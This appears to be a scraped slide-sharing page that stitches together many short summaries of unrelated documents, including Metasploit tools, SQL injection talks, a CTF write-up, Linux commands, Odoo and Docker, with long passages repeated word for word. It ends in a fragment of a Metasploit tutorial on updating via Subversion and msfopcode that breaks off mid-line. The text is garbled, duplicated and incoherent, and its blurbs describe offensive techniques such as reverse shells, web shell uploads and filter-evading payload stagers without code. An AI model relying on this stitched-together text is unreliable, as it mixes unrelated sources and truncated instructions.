The document discusses various tools and interfaces available in the Metasploit framework. It describes the purpose of tools like msfconsole, msfcli, msfrpcd, msfd, msfencode and msfpayload which can be used for tasks like exploitation, payload generation, encoding and interacting with the framework remotely. It also provides usage examples and basic syntax for many of these tools.
The document discusses various techniques used in Metasploit Framework including selecting exploits, configuring options, generating payloads, and executing exploits. It provides step-by-step instructions on using Metasploit to scan for vulnerabilities, select an exploit, configure the required options like target IP, payload, and listener port, and finally executing the exploit to achieve remote code execution on the target system. It also discusses different types of payloads like reverse shell, VNC injection, and Meterpreter and generating standalone executable payloads using msfpayload.
Armitage developed by Raphael mudge a gui format for metasploit framework for pentesr and security researcher,here u can manage as also prevent the cyber attack.this project means for educational purpose only.do not use as crime
Wissbi is an open source toolset for building distributed event processing pipelines easily. It provides basic commands like wissbi-sub and wissbi-pub that allow receiving and sending messages. Filters can be written in any language and run in parallel as daemon processes configured through files. This allows constructing complex multi-stage data workflows. The ecosystem also includes tools like a log collector and metric collector that use Wissbi for transport. It aims to minimize operating effort through a simple design that relies mainly on filesystem operations and standard Unix tools and commands.
This document summarizes options for running the Odoo server from the command line, including:
- Specifying database, modules, and module paths for installation/updating
- Configuring workers for multiprocessing and limiting resources per worker
- Setting logging options like the log file, database, or specific log levels
- Advanced options like auto-reloading or enabling a proxy
Linux internet server security and configuration tutorialannik147
The document provides steps to secure a web server, including:
1. Reducing exposed network services by commenting out unused services in configuration files like /etc/initd.conf and restarting daemons;
2. Configuring firewall rules using iptables or ipchains to block unnecessary ports;
3. Removing unneeded users and network services from startup.
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wprgster
This document discusses techniques for exploiting command injection vulnerabilities beyond just getting a shell. It proposes designing a reliable command injection payload stager for Windows using Metasploit. The stager would reuse the established connection to transfer a payload instead of relying on network tools like SSH or FTP, improving reliability. It explores using WScript to execute a VBScript payload instead of debug.exe since it's been removed from newer Windows versions. Encoding the payload is important to avoid filters or out of order execution on multithreaded servers.
The purpose of this document
is not to show how to use Metasploit tool there are enormous amount of sources available to do that but to show you how to look deeper into the code and try to decipher how the various classes and modules hang
together to produce the various functions we love to use.
In doing so we will learn how the exploit framework could be structured, how the interaction between the
attacker and the exploited vulnerability could be
achieved and how the user can extend the functionality of Metasploit.
The document discusses various techniques used in Metasploit Framework including selecting exploits, configuring options, generating payloads, and executing exploits. It provides step-by-step instructions on using Metasploit to scan for vulnerabilities, select an exploit, configure the required options like target IP, payload, and listener port, and finally executing the exploit to achieve remote code execution on the target system. It also discusses different types of payloads like reverse shell, VNC injection, and Meterpreter and generating standalone executable payloads using msfpayload.
Armitage developed by Raphael mudge a gui format for metasploit framework for pentesr and security researcher,here u can manage as also prevent the cyber attack.this project means for educational purpose only.do not use as crime
Wissbi is an open source toolset for building distributed event processing pipelines easily. It provides basic commands like wissbi-sub and wissbi-pub that allow receiving and sending messages. Filters can be written in any language and run in parallel as daemon processes configured through files. This allows constructing complex multi-stage data workflows. The ecosystem also includes tools like a log collector and metric collector that use Wissbi for transport. It aims to minimize operating effort through a simple design that relies mainly on filesystem operations and standard Unix tools and commands.
This document summarizes options for running the Odoo server from the command line, including:
- Specifying database, modules, and module paths for installation/updating
- Configuring workers for multiprocessing and limiting resources per worker
- Setting logging options like the log file, database, or specific log levels
- Advanced options like auto-reloading or enabling a proxy
Linux internet server security and configuration tutorialannik147
The document provides steps to secure a web server, including:
1. Reducing exposed network services by commenting out unused services in configuration files like /etc/initd.conf and restarting daemons;
2. Configuring firewall rules using iptables or ipchains to block unnecessary ports;
3. Removing unneeded users and network services from startup.
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wprgster
This document discusses techniques for exploiting command injection vulnerabilities beyond just getting a shell. It proposes designing a reliable command injection payload stager for Windows using Metasploit. The stager would reuse the established connection to transfer a payload instead of relying on network tools like SSH or FTP, improving reliability. It explores using WScript to execute a VBScript payload instead of debug.exe since it's been removed from newer Windows versions. Encoding the payload is important to avoid filters or out of order execution on multithreaded servers.
The purpose of this document
is not to show how to use Metasploit tool there are enormous amount of sources available to do that but to show you how to look deeper into the code and try to decipher how the various classes and modules hang
together to produce the various functions we love to use.
In doing so we will learn how the exploit framework could be structured, how the interaction between the
attacker and the exploited vulnerability could be
achieved and how the user can extend the functionality of Metasploit.
The document lists and provides brief descriptions of 73 common Linux commands. Some of the most frequently used commands include ls to list files, cd to change directories, grep to search files, tar and gzip for file compression/decompression, top to view running processes, and man to view manuals. Other commands covered include those for networking (ifconfig, ping), file permissions (chmod, chown), text editing/manipulation (vi, sed, awk), and package management (apt-get, rpm).
This document discusses Linux system monitoring tools. It begins with an introduction and overview of monitoring Linux systems. It then covers installing Linux/Ubuntu in a virtual machine. Next, it lists and describes various packages for system monitoring like vmstat, htop, iostat. It provides screenshots and explanations of commands like top, ps, lsof. Finally, it concludes and references additional resources for Linux performance monitoring tools.
Penetration Testing and Intrusion Detection SystemBikrant Gautam
This document provides an overview of penetration testing techniques, including forms of cyber attacks like buffer overflows and SQL injection. It discusses using Metasploit and other commercial tools like Canvas to conduct network penetration testing. It also covers post-exploitation techniques such as password cracking, privilege escalation, and data exfiltration. The goal of a penetration test is to simulate a real attack to evaluate system defenses and identify vulnerabilities.
This document provides an overview of common Linux networking commands such as ifconfig, route, traceroute, nslookup, arp, dig, and netstat that are used to configure network interfaces, display routing tables, trace network routes, lookup domain names, manage address resolution, query DNS servers, and view network statistics. It also discusses how to use ifconfig to assign IP addresses to interfaces, route to view routing tables, arp to manage the address resolution cache, and dig for more powerful DNS lookups than nslookup.
introduction to linux kernel tcp/ip ptocotol stack monad bobo
This document provides an introduction and overview of the networking code in the Linux kernel source tree. It discusses the different layers including link (L2), network (L3), and transport (L4) layers. It describes the input and output processing, device interfaces, traffic directions, and major developers for each layer. Config and benchmark tools are also mentioned. Resources for further learning about the Linux kernel networking code are provided at the end.
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.
These slides have been presented at EUSecWest conference in London on May 28, 2009.
Full version presented at Black Hat Europe 2009 Conference, slides available here, http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides.
Linux is a prominent example of free and open source software. It can be installed on a wide variety of devices from embedded systems to supercomputers. Linux is commonly used for servers, with estimates that it powers around 60% of web servers. Linux distributions package the Linux kernel with other software like utilities, libraries and desktop environments. Programming languages and build tools like GCC are supported. Embedded Linux is often used in devices due to its low cost and ease of modification.
This document provides an overview of Metasploit for beginners. It discusses why Metasploit is useful, how to set up a demo environment, and how to use auxiliary and exploit modules. It then demonstrates auxiliary modules for scanning and information gathering. It also demonstrates two exploit modules against ElasticSearch and Jenkins, using reverse shell payloads. The document provides a cheat sheet for navigating msfconsole and describes common commands used prior to demonstrations.
SystemTap is a dynamic tracing tool for Linux systems. It allows users to easily gather information about the running Linux system by defining probe points in a script. The script is compiled into a kernel module which can then be loaded to monitor the specified probe points. Some examples of useful probe points include functions, system calls, and kernel statements. SystemTap scripts can be used to trace execution, profile performance, monitor kernel functions and debug problems by printing at probe points. It provides a safe way to observe a live system without needing to recompile the kernel.
Oracle database might have problems with stale NFSv3 locks upon restartAshwin Pawar
The document discusses stale NFS locks that can occur upon Oracle database restart with NFSv3. The issue is caused by lockd and rpc.statd using different name resolution methods to create and clear locks, resulting in non-matching host names. The solution is to change the order of host names in /etc/hosts so the same host name is used for lock creation and clearance.
This document summarizes the steps taken in a Capture the Flag (CTF) challenge to read a file called flag.txt located at http://192.168.56.10/. The challenge involved 7 levels that exploited vulnerabilities like SQL injection, file inclusion, and remote desktop access to ultimately gain a shell on the database server at 192.168.56.12 in order to find the flag file. Detailed commands and techniques are provided for each level to bypass authentication, read local files, upload a web shell, enable remote desktop, scan for open ports, and execute commands on the database server.
This document provides instructions for installing and using PhyloPipe v1.1, a phylogenetic analysis software package. It describes how to install prerequisite programs like HaMStR, MAFFT, and RAxMLGUI. It explains the directory structure and how to run PhyloPipe directly or modify the project files. Usage instructions are provided for the main window and settings dialog where paths to programs can be configured. The document aims to help users get started with PhyloPipe for phylogenetic analysis.
Yum is a package management system that allows users to install, update, and remove software packages on Linux systems. It works by maintaining a local database of installed packages and their dependencies. The yum command can be used to install packages and automatically handle dependencies, update all or specific installed packages to newer versions, and remove packages. It provides a consistent interface for managing software packages across different Linux distributions.
This document introduces Docker containers and provides examples of using Docker for networking containers across virtual machines. It discusses setting up a GRE tunnel between two VMs to connect their Docker interfaces and allow containers running on different VMs to communicate. Specific commands are provided to configure the Docker and overlay networks on each VM, establish the GRE tunnel, and run a sample container to test the connectivity.
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.
These slides have been presented at OWASP AppSec Europe 2009 conference in Krakow on May 13, 2009.
Full version presented at Black Hat Europe 2009 Conference, slides available here, http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides.
Capistrano is a tool for automating tasks on remote servers. It executes commands in parallel on targeted machines and provides rollback of changes. Capistrano uses Net::SSH, Net::SFTP, and Net::SCP to automate tasks over SSH, and supports features like task chaining, streams, prompts, roles, and detecting/rolling back broken jobs.
This document summarizes the curl command line tool, which transfers data from or to a server using supported protocols like HTTP, HTTPS, FTP, etc. It describes curl's name, synopsis, description, URL syntax handling, progress meter, and common options for controlling aspects like authentication methods, cookies, file transfers, SSL/TLS versions, and more. The document provides high-level information on curl's capabilities and how to use its many features from the command line.
YUM (Yellowdog Updater Modified) is a package manager developed by Duke University to improve RPM installation. It searches repositories for packages and dependencies so they can be installed together, alleviating dependency issues. Red Hat Enterprise Linux 5.2 uses YUM to fetch and install RPM packages. YUM allows administrators to configure local repositories to supplement official packages, saving bandwidth and not requiring individual client registration.
This document provides an overview of Samba, an open source software that allows file and printer sharing between Windows and Linux/UNIX machines. It discusses Samba features like serving directories and printers to clients, assisting with network browsing, and authenticating Windows domain logins. It also describes Samba daemons like smbd, nmbd, and winbindd. The document outlines how to connect to Samba shares using Nautilus or the command line, and how to configure a Samba server through its graphical tool or by editing configuration files, including setting up shares, users, and security options.
Anonymous club of BMSCE, Talk and Demo on exploits on the Metasploit Framework and building Trojans using Msfvenom . By Siddharth.K (tech Head of anonymous club BMSCE)
W3af is a web application security testing framework with three core plugin types: discovery, audit, and attack/exploit. It has both a console and graphical user interface. The framework finds vulnerabilities through discovery and audit plugins, then attack plugins can exploit vulnerabilities, such as returning a remote shell. Key features include vulnerability scanning, results visualization, logging, and the ability to create reverse tunnels for remote access.
The document lists and provides brief descriptions of 73 common Linux commands. Some of the most frequently used commands include ls to list files, cd to change directories, grep to search files, tar and gzip for file compression/decompression, top to view running processes, and man to view manuals. Other commands covered include those for networking (ifconfig, ping), file permissions (chmod, chown), text editing/manipulation (vi, sed, awk), and package management (apt-get, rpm).
This document discusses Linux system monitoring tools. It begins with an introduction and overview of monitoring Linux systems. It then covers installing Linux/Ubuntu in a virtual machine. Next, it lists and describes various packages for system monitoring like vmstat, htop, iostat. It provides screenshots and explanations of commands like top, ps, lsof. Finally, it concludes and references additional resources for Linux performance monitoring tools.
Penetration Testing and Intrusion Detection SystemBikrant Gautam
This document provides an overview of penetration testing techniques, including forms of cyber attacks like buffer overflows and SQL injection. It discusses using Metasploit and other commercial tools like Canvas to conduct network penetration testing. It also covers post-exploitation techniques such as password cracking, privilege escalation, and data exfiltration. The goal of a penetration test is to simulate a real attack to evaluate system defenses and identify vulnerabilities.
This document provides an overview of common Linux networking commands such as ifconfig, route, traceroute, nslookup, arp, dig, and netstat that are used to configure network interfaces, display routing tables, trace network routes, lookup domain names, manage address resolution, query DNS servers, and view network statistics. It also discusses how to use ifconfig to assign IP addresses to interfaces, route to view routing tables, arp to manage the address resolution cache, and dig for more powerful DNS lookups than nslookup.
introduction to linux kernel tcp/ip ptocotol stack monad bobo
This document provides an introduction and overview of the networking code in the Linux kernel source tree. It discusses the different layers including link (L2), network (L3), and transport (L4) layers. It describes the input and output processing, device interfaces, traffic directions, and major developers for each layer. Config and benchmark tools are also mentioned. Resources for further learning about the Linux kernel networking code are provided at the end.
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.
These slides have been presented at EUSecWest conference in London on May 28, 2009.
Full version presented at Black Hat Europe 2009 Conference, slides available here, http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides.
Linux is a prominent example of free and open source software. It can be installed on a wide variety of devices from embedded systems to supercomputers. Linux is commonly used for servers, with estimates that it powers around 60% of web servers. Linux distributions package the Linux kernel with other software like utilities, libraries and desktop environments. Programming languages and build tools like GCC are supported. Embedded Linux is often used in devices due to its low cost and ease of modification.
This document provides an overview of Metasploit for beginners. It discusses why Metasploit is useful, how to set up a demo environment, and how to use auxiliary and exploit modules. It then demonstrates auxiliary modules for scanning and information gathering. It also demonstrates two exploit modules against ElasticSearch and Jenkins, using reverse shell payloads. The document provides a cheat sheet for navigating msfconsole and describes common commands used prior to demonstrations.
SystemTap is a dynamic tracing tool for Linux systems. It allows users to easily gather information about the running Linux system by defining probe points in a script. The script is compiled into a kernel module which can then be loaded to monitor the specified probe points. Some examples of useful probe points include functions, system calls, and kernel statements. SystemTap scripts can be used to trace execution, profile performance, monitor kernel functions and debug problems by printing at probe points. It provides a safe way to observe a live system without needing to recompile the kernel.
Oracle database might have problems with stale NFSv3 locks upon restartAshwin Pawar
The document discusses stale NFS locks that can occur upon Oracle database restart with NFSv3. The issue is caused by lockd and rpc.statd using different name resolution methods to create and clear locks, resulting in non-matching host names. The solution is to change the order of host names in /etc/hosts so the same host name is used for lock creation and clearance.
This document summarizes the steps taken in a Capture the Flag (CTF) challenge to read a file called flag.txt located at http://192.168.56.10/. The challenge involved 7 levels that exploited vulnerabilities like SQL injection, file inclusion, and remote desktop access to ultimately gain a shell on the database server at 192.168.56.12 in order to find the flag file. Detailed commands and techniques are provided for each level to bypass authentication, read local files, upload a web shell, enable remote desktop, scan for open ports, and execute commands on the database server.
This document provides instructions for installing and using PhyloPipe v1.1, a phylogenetic analysis software package. It describes how to install prerequisite programs like HaMStR, MAFFT, and RAxMLGUI. It explains the directory structure and how to run PhyloPipe directly or modify the project files. Usage instructions are provided for the main window and settings dialog where paths to programs can be configured. The document aims to help users get started with PhyloPipe for phylogenetic analysis.
Yum is a package management system that allows users to install, update, and remove software packages on Linux systems. It works by maintaining a local database of installed packages and their dependencies. The yum command can be used to install packages and automatically handle dependencies, update all or specific installed packages to newer versions, and remove packages. It provides a consistent interface for managing software packages across different Linux distributions.
This document introduces Docker containers and provides examples of using Docker for networking containers across virtual machines. It discusses setting up a GRE tunnel between two VMs to connect their Docker interfaces and allow containers running on different VMs to communicate. Specific commands are provided to configure the Docker and overlay networks on each VM, establish the GRE tunnel, and run a sample container to test the connectivity.
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.
These slides have been presented at OWASP AppSec Europe 2009 conference in Krakow on May 13, 2009.
Full version presented at Black Hat Europe 2009 Conference, slides available here, http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides.
Capistrano is a tool for automating tasks on remote servers. It executes commands in parallel on targeted machines and provides rollback of changes. Capistrano uses Net::SSH, Net::SFTP, and Net::SCP to automate tasks over SSH, and supports features like task chaining, streams, prompts, roles, and detecting/rolling back broken jobs.
This document summarizes the curl command line tool, which transfers data from or to a server using supported protocols like HTTP, HTTPS, FTP, etc. It describes curl's name, synopsis, description, URL syntax handling, progress meter, and common options for controlling aspects like authentication methods, cookies, file transfers, SSL/TLS versions, and more. The document provides high-level information on curl's capabilities and how to use its many features from the command line.
YUM (Yellowdog Updater Modified) is a package manager developed by Duke University to improve RPM installation. It searches repositories for packages and dependencies so they can be installed together, alleviating dependency issues. Red Hat Enterprise Linux 5.2 uses YUM to fetch and install RPM packages. YUM allows administrators to configure local repositories to supplement official packages, saving bandwidth and not requiring individual client registration.
This document provides an overview of Samba, an open source software that allows file and printer sharing between Windows and Linux/UNIX machines. It discusses Samba features like serving directories and printers to clients, assisting with network browsing, and authenticating Windows domain logins. It also describes Samba daemons like smbd, nmbd, and winbindd. The document outlines how to connect to Samba shares using Nautilus or the command line, and how to configure a Samba server through its graphical tool or by editing configuration files, including setting up shares, users, and security options.
Anonymous club of BMSCE, Talk and Demo on exploits on the Metasploit Framework and building Trojans using Msfvenom . By Siddharth.K (tech Head of anonymous club BMSCE)
W3af is a web application security testing framework with three core plugin types: discovery, audit, and attack/exploit. It has both a console and graphical user interface. The framework finds vulnerabilities through discovery and audit plugins, then attack plugins can exploit vulnerabilities, such as returning a remote shell. Key features include vulnerability scanning, results visualization, logging, and the ability to create reverse tunnels for remote access.
This document provides an overview of Metasploit and how it can be used to perform penetration testing and vulnerability assessments. It defines key Metasploit terminology like exploits, payloads, shellcode, and modules. It describes Metasploit's architecture including its libraries, core, and base components. It also outlines useful MSFconsole commands and provides a step-by-step example of exploiting an Android device with Metasploit that involves generating a payload, setting up a listener, enabling port forwarding, executing the exploit, and using the meterpreter shell for post-exploitation tasks.
This document provides descriptions of various tools that can be used for diagnosing fatal errors, application crashes, and other issues in Citrix environments. Some of the key tools mentioned include Dr. Watson for collecting crash dumps, Dependency Walker for troubleshooting DLL issues, LiveKD and WinDBG for debugging crash dumps, and UserDump.exe and SystemDump.exe for generating memory dumps of problematic processes and servers.
Introduction to metasploit that we presented to the 4th year compsci students at Rhodes university.Covering the basic functionality of metasploit, and penetration testing.
The practical section that Etienne made (with Ponies) will come soon.
Metasploit is a program and framework for developing and using exploits. It allows penetration testers to quickly test exploits against multiple systems simultaneously and automates many penetration testing tasks. Some key advantages of Metasploit include facilitating simultaneous exploitation of systems on a network, integrating with other scanning tools to target specific vulnerabilities, and simplifying post-exploitation activities through its Meterpreter module. The document provides an overview of Metasploit and demonstrates how to use some of its basic features through an example exploit against a Windows system.
The document discusses various types of shellcodes used in reverse engineering, including local shellcodes, remote shellcodes like reverse shellcodes and bindshell shellcodes, and other less common types. It provides details on the different techniques shellcodes use, such as staged shellcodes that download additional code in stages. The document also introduces the msfpayload command used to generate shellcodes in Metasploit and provides examples of configuring options and outputting shellcode in various formats.
This lab document describes using the Metasploit framework to perform exploits against Windows systems. It consists of six sections: installing Metasploit, adding a remote user to Windows XP, gaining remote command shell access to Windows XP, using DLL injection to open a remote VNC connection, remotely installing a rootkit on Windows, and setting up the Metasploit web interface. The document provides background on exploit frameworks and payloads, and guides students through exercises to complete each section.
Metasploit Framework is a open source penetration tool used for developing and executing exploit code against a remote target machine it, Metasploit frame work has the world’s largest database of public, tested exploits.
The document provides instructions for installing WebSphere Message Broker 8 on Linux 64-bit systems. It describes unpacking installation files, preparing the machine by ensuring it has 32-bit libraries installed if needed, and configuring the operating system with the correct kernel parameters and user limits for running WebSphere Message Broker. It also explains how to install additional components like MQ Explorer and configure access for users.
SmartFrog is a framework for describing, deploying, and managing distributed service components across a network. It uses a declarative description language to specify configurations and templates that can be extended and combined. The SmartFrog deployment engine loads and instantiates components based on the descriptions, supplying the correct configuration to each one. Components implement a lifecycle and can be written to deploy specific services.
The implementation phase involves materializing ideas from analysis and design into the final solution. The authors implemented rejuvenation on three domains using warm and cold methods based on time and prediction policies. They also simulated rejuvenation of failing nodes and implemented Petri net modeling. KVM was selected as the virtualization platform and run on CentOS. C was used as the programming language and key libraries were included. NFS was configured to enable sharing of VM images between servers to allow live migration.
The document discusses the Meterpreter payload and its advantages over traditional command shells. Meterpreter runs by injecting itself into vulnerable processes, allowing it to avoid detection. It has a full command shell and extensions that allow flexible post-exploitation activities like privilege escalation and maintaining stealth. Meterpreter commands demonstrated include keylogging, packet sniffing, and modifying file timestamps to evade forensic analysis.
A presentation on how applying Cloud Architecture Patterns using Docker Swarm as orchestrator is possible to create reliable, resilient and scalable FIWARE platforms.
The document describes a travel agency management system that offers the following key features:
- Integrated travel agents located directly in companies to make reservations and issue tickets.
- An electronic booking system that is IATA approved along with state-of-the-art technology.
- Dedicated and bilingual staff that provide personalized service and account management for corporate travel needs.
- One-stop shopping for all travel arrangements along with corporate agreements with airlines.
REST uses HTTP requests to transfer data in common formats like JSON and XML, while MQTT is a lightweight publish-subscribe messaging protocol designed for low-power IoT devices to efficiently distribute data via topics with different quality of service levels and can send "will" messages if a device disconnects unexpectedly. Both protocols are widely used with REST leveraging existing web standards and MQTT optimized for constrained devices and real-time data streaming applications.
Developing Realtime Data Pipelines With Apache KafkaJoe Stein
Developing Realtime Data Pipelines With Apache Kafka. Apache Kafka is publish-subscribe messaging rethought as a distributed commit log. A single Kafka broker can handle hundreds of megabytes of reads and writes per second from thousands of clients. Kafka is designed to allow a single cluster to serve as the central data backbone for a large organization. It can be elastically and transparently expanded without downtime. Data streams are partitioned and spread over a cluster of machines to allow data streams larger than the capability of any single machine and to allow clusters of co-ordinated consumers. Messages are persisted on disk and replicated within the cluster to prevent data loss. Each broker can handle terabytes of messages without performance impact. Kafka has a modern cluster-centric design that offers strong durability and fault-tolerance guarantees.
The document discusses the setup and configuration of an intrusion prevention system (IPS) using Snort and iptables on a Linux-based system. It provides detailed instructions on installing necessary libraries, the Linux kernel, Snort, iptables, and Snort rulesets. The IPS can be configured in either inline or flex-response mode using Snort. Iptables is used to create packet queues that allow for mono-queue or multi-queue IPS configurations with single or multiple processing queues.
The document provides an overview of a presentation on pentesting REST APIs. The presentation will cover basic theory, personal experience, methodology, tools used, test beds, example vulnerabilities, common findings, and include hands-on demos. The presentation will discuss both SOAP and REST APIs, pentesting approaches, tools like Postman and Burp Suite, example test beds like Hackazon and Mutillidae, and common API vulnerabilities like information disclosure, IDOR, and token issues.
Social engineering is a technique used to manipulate people into revealing confidential information through deception. The document discusses how social engineers create profiles of their targets using online tools and then develop relationships to gain their trust over time in order to attack them through espionage, doxing, or scams. It provides examples of social engineering attacks and tips for protecting personal information online to avoid being targeted.
OSINT Black Magic: Listen who whispers your name in the dark!!!Nutan Kumar Panda
Open Source Intelligence is the art of collecting information which is scattered on publicly available sources. With evolution of social media and digital marketplaces a huge amount of information is constantly generated on the Internet (sometimes even without our conscious consent). This is of great concern for organizations and businesses as chances of confidential data floating in the public domain may seriously harm their business integrity. All recent hacks are related to internal source code disclosure, API keys leakage, known vulnerability in third party plugin, data dump leaks etc. Based on experience and robust research in this domain, for this talk the speakers have created a tool which will help all kind of organizations to monitor cyberspace effectively without much investment. This tool is simple but an effective solution which is capable of hearing digital whispers which are usually missed or ignored but shouldn’t be.
This topic will cover key concepts in android application security testing by employing a variety of tools and techniques to fasten the testing process.
This was presented at Null Bangalore Chapter (Saturday April 26 2014, 11:00 AM)
Windows 8 just launched. Its best ever gift to all Security Aspirants to know about its back drops and advantages.
For any query contact: nutan.appin@gmail.com
The document provides step-by-step instructions for cracking WEP encryption on a wireless network using Backtrack Linux, including how to monitor wireless traffic, inject packets, and capture data to crack the WEP key using the aircrack-ng tool. It also briefly outlines cracking WPA encryption by using a dictionary attack against captured traffic with aircrack-ng. The author concludes by noting that penetration testing can help find network vulnerabilities but that security is not perfect.
The document discusses using the Social Engineering Toolkit (SET) to conduct a social engineering attack. It describes how to use SET to clone a website, such as Twitter, and embed a Java payload that will deliver a reverse TCP meterpreter shell when clicked. The attacker configures the payload encoding and listens on their machine. When the target visits the fake website, they are prompted to install Java to view it, unwittingly executing the payload and giving the attacker remote access to their system in one wrong click.
Goorecon is a tool that uses Google to enumerate subdomains of a target domain. It queries Google and checks subdomains Google has discovered during its web crawling. The tool also has an option to gather emails. In the example output, Goorecon returned several subdomains when run against "cnn.com" and also returned many emails when run against "louisville.edu".
Automated Image & Restore (AIR) is an open source forensic imaging tool with a graphical user interface. It provides an easy front-end for disk/partition imaging using dd and dcfldd commands. Key features include support for hashing algorithms, SCSI tape drives, network imaging, splitting images, and detailed session logging. The tutorial demonstrates installing and using AIR to create a forensic image of a file on a Linux system and copy it to a CD-ROM for evidence preservation.
The document provides information on various network analysis and scanning tools including:
- DNStracer which traces DNS queries back through recursive DNS servers.
- Tcptraceroute which performs traceroutes using TCP packets to bypass firewalls in the same way nmap does.
- Nmap which is a security scanning tool used for network inventory, management and auditing through techniques like host discovery, port scanning and OS detection.
- Lanmap which listens to network traffic on an interface and maps the topology of who is communicating with who and how much using various protocols.
- SPIKE which is a network protocol fuzzer development framework that represents protocols as blocks of binary data and size to allow
BackTrack is a Linux distribution designed for penetration testing and information security assessments, containing over 300 security and network analysis tools. It is based on Ubuntu and provides a live CD/DVD for portable use without installing to a hard drive. The document discusses the history and releases of BackTrack, how to install and use it, customize a live CD, and provides an overview of the major tools and categories included for information gathering, vulnerability assessment, wireless attacks, and penetration testing.
This document discusses Google hacking techniques used by hackers to find vulnerable websites and sensitive data on the internet. It provides an overview of how Google's search engine works and the various search operators that can be used for hacking purposes. Some examples of Google hacking tricks discussed are accessing blocked sites, unindexed pages, and PHP admin accounts. The document concludes that while Google hacking can help locate vulnerable targets, the success depends on the existence of unsecured websites and servers.
Reimagining Your Library Space: How to Increase the Vibes in Your Library No ...Diana Rendina
Librarians are leading the way in creating future-ready citizens – now we need to update our spaces to match. In this session, attendees will get inspiration for transforming their library spaces. You’ll learn how to survey students and patrons, create a focus group, and use design thinking to brainstorm ideas for your space. We’ll discuss budget friendly ways to change your space as well as how to find funding. No matter where you’re at, you’ll find ideas for reimagining your space in this session.
This document provides an overview of wound healing, its functions, stages, mechanisms, factors affecting it, and complications.
A wound is a break in the integrity of the skin or tissues, which may be associated with disruption of the structure and function.
Healing is the body’s response to injury in an attempt to restore normal structure and functions.
Healing can occur in two ways: Regeneration and Repair
There are 4 phases of wound healing: hemostasis, inflammation, proliferation, and remodeling. This document also describes the mechanism of wound healing. Factors that affect healing include infection, uncontrolled diabetes, poor nutrition, age, anemia, the presence of foreign bodies, etc.
Complications of wound healing like infection, hyperpigmentation of scar, contractures, and keloid formation.
हिंदी वर्णमाला पीपीटी, hindi alphabet PPT presentation, hindi varnamala PPT, Hindi Varnamala pdf, हिंदी स्वर, हिंदी व्यंजन, sikhiye hindi varnmala, dr. mulla adam ali, hindi language and literature, hindi alphabet with drawing, hindi alphabet pdf, hindi varnamala for childrens, hindi language, hindi varnamala practice for kids, https://www.drmullaadamali.com
This presentation was provided by Steph Pollock of The American Psychological Association’s Journals Program, and Damita Snow, of The American Society of Civil Engineers (ASCE), for the initial session of NISO's 2024 Training Series "DEIA in the Scholarly Landscape." Session One: 'Setting Expectations: a DEIA Primer,' was held June 6, 2024.
Beyond Degrees - Empowering the Workforce in the Context of Skills-First.pptxEduSkills OECD
Iván Bornacelly, Policy Analyst at the OECD Centre for Skills, OECD, presents at the webinar 'Tackling job market gaps with a skills-first approach' on 12 June 2024
How to Setup Warehouse & Location in Odoo 17 InventoryCeline George
In this slide, we'll explore how to set up warehouses and locations in Odoo 17 Inventory. This will help us manage our stock effectively, track inventory levels, and streamline warehouse operations.
This presentation includes basic of PCOS their pathology and treatment and also Ayurveda correlation of PCOS and Ayurvedic line of treatment mentioned in classics.
A workshop hosted by the South African Journal of Science aimed at postgraduate students and early career researchers with little or no experience in writing and publishing journal articles.
6. A group of penetration testers collaborating on testing the same network or different networks.
7. A penetration tester remotely logging in to the pre-configured Metasploit system, and launching exploits from there.The channels available with Metasploit v3.x are listed below:<br />The Directory Structure of the Framework<br />Updating Metasploit<br />The Framework can be updated using a standard Subversion client. The old msfupdate tool is no longer supported. Windows users can click on the Online Update link within the Metasploit 3 program folder on the Start Menu. To obtain the latest updates on a Unix-like platform, change into the Framework installation directory and execute svn update. If you are accessing the internet through a HTTP proxy server, please see the Subversion FAQ on proxy access:<br />http://subversion.tigris.org/faq.html#proxy<br />One of the primary values of Metasploit is that it is constantly being updated to provide exploits for the newest and most interesting vulnerabilities. As time goes on and patches are applied, a given exploit becomes less and less likely to work, so using the latest exploits is usually a very good idea. By routinely updating Metasploit (e.g before every use), you give yourself the best<br />chance of exploiting your targets successfully. Older versions of Metasploit used a custom utility called msfupdate to grab the latest code, but as of Metasploit 3.0, msfupdate has been replaced by Subversion (http://subversion.tigris.org). Once you’ve downloaded Metasploit, you now keep it up to date simply by using your Subversion client of choice to “update” the Metasploit directory. For example, I update my Metasploit using the Unix command-line Subversion client called svn, which looks something like this:<br />svn update<br />At revision 4532.<br />This isn’t a particularly exciting example because my Metasploit was already up to date, but then again, that’s a good thing. If your Metasploit was in need of updating, you would see a list of file modifications and deletions more like this:<br />svn update<br />UU modules/nops/ppc/simple.rb<br />UU modules/nops/x86/opty2.rb<br />UU modules/nops/x86/single_byte.rb<br />UU modules/nops/nop_test.rb.ut.rb<br />A modules/nops/php<br />A modules/nops/php/generic.rb<br />UU modules/nops/sparc/random.rb<br />…………<br />………..<br />Updated to version 4532<br />Msfopcode<br />The Metasploit project team has done a marvelous job in creating an opcode database that now consists of over 14 million opcodes. Earlier, this database was accessible only over the Web on the Metasploit Web site.With version 3.0 of the framework, this data can now be accessed via the msfopcode interface, which connects back to the Metasploit Web server to retrieve the actual information. The options available with msfopcode are available when executing this utility with the –h switch. This interface is merely a front end to the ex::Exploitation::OpcodeDb::Client class interface that interfaces with a HTTP-based XML protocol running on the Metasploit.com Web server.<br />./msfopcode<br />Usage: 